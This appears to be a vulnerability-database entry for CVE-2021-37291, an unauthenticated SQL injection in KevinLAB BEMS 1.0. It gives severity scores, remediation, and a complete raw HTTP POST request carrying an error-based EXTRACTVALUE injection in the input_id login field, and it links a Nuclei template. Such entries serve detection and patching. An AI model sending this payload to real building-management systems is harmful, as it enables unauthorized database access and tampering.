| Title | KevinLAB BEMS 1.0 - SQL Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations. |
| Remediation | Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.60436 |
| CVE ID | CVE-2021-37291 |
| CWE ID | CWE-89 |
| Tags | cve cve2021 kevinlab sqli edb packetstorm vkev vuln |
KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
POST /http/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Content-Length: 353
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requester=login&request=login¶ms=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37291.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-37291.pcap
N/AN/A